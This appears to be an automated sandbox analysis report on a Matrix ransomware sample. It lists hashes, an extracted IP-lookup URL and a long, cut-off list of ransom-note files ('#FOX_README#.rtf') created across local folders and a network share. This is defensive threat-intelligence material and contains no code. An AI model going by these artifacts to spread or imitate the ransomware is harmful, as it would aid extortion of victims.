Analysis
-
max time kernel
150s -
max time network
155s -
platform
windows10_x64 -
resource
win10 -
submitted
08-10-2020 15:06
Static task
static1
Behavioral task
behavioral1
Sample
f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe
Resource
win7v200722
Behavioral task
behavioral2
Sample
f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe
Resource
win10
General
-
Target
f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe
-
Size
2.4MB
-
MD5
c13d671ed16399a2b430c79b3200b425
-
SHA1
9acfb64b5617566d97a9ded3b295915035b3e3e7
-
SHA256
f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14
-
SHA512
1e4a9d96b8c0c3f967ccf52f7a3360e5a28929420475e565318c82e38fb75ed3039605f95d6e466e0d4f06100c4145800ca6bea2548d3d1ad89cc0d1093beef6
Malware Config
Extracted
http://myexternalip.com/raw
Signatures
-
Matrix Ransomware 673 IoCs
Targeted ransomware with information collection and encryption functionality.
description flow ioc Process File created C:\Program Files\Mozilla Firefox\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Mozilla\updates\308046B0AF4A39CB\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Templates.2\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\pl\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\include\win32\bridge\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ug\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\1.3.35.452\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\include\win32\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\rw\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\nl\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0lj62mcv.default-release\OfflineCache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\Install\{0FFF632F-1073-45B0-9B63-F95E8B1E38FA}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\lt\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\EnvironmentsApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mt-MT\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pa-Arab-PK\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\PenWorkspace\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Protect\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\eu\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Videos\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ne-NP\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Searches\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\jfr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\default_apps\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{892b8d0d-af4f-4998-8337-62e3f45408b2}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\odt\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sw\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Documents\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Package Cache\{CB0836EC-B072-368D-82B2-D3470BF95707}v12.0.40660\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Comms\UnistoreDB\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\ja\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\AppIconCache\100\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\db\#FOX_README#.rtf NW6U7626.exe File created C:\ProgramData\Microsoft\ClickToRun\ProductReleases\5A1DF312-5349-45A2-A5CA-533D6765243A\x-none.16\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\index-dir\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nn-NO\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Saved Games\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\deploy\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0lj62mcv.default-release\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ha-Latn-NG\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\ext\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Oracle\Java\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\de\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fil-PH\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\pt-PT\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.update\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Microsoft Office 15\ClientX64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sl\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\tt\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Links\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Adobe\Color\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\security\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\te\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\zh-TW\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3fc61214-bc1b-4576-af78-4f1e254d515f}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick.2\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0lj62mcv.default-release\startupCache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\en-US\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Music\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\Libraries\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Desktop\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Package Cache\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}v12.0.40660\packages\vcRuntimeAdditional_amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\hu\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\Music\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program 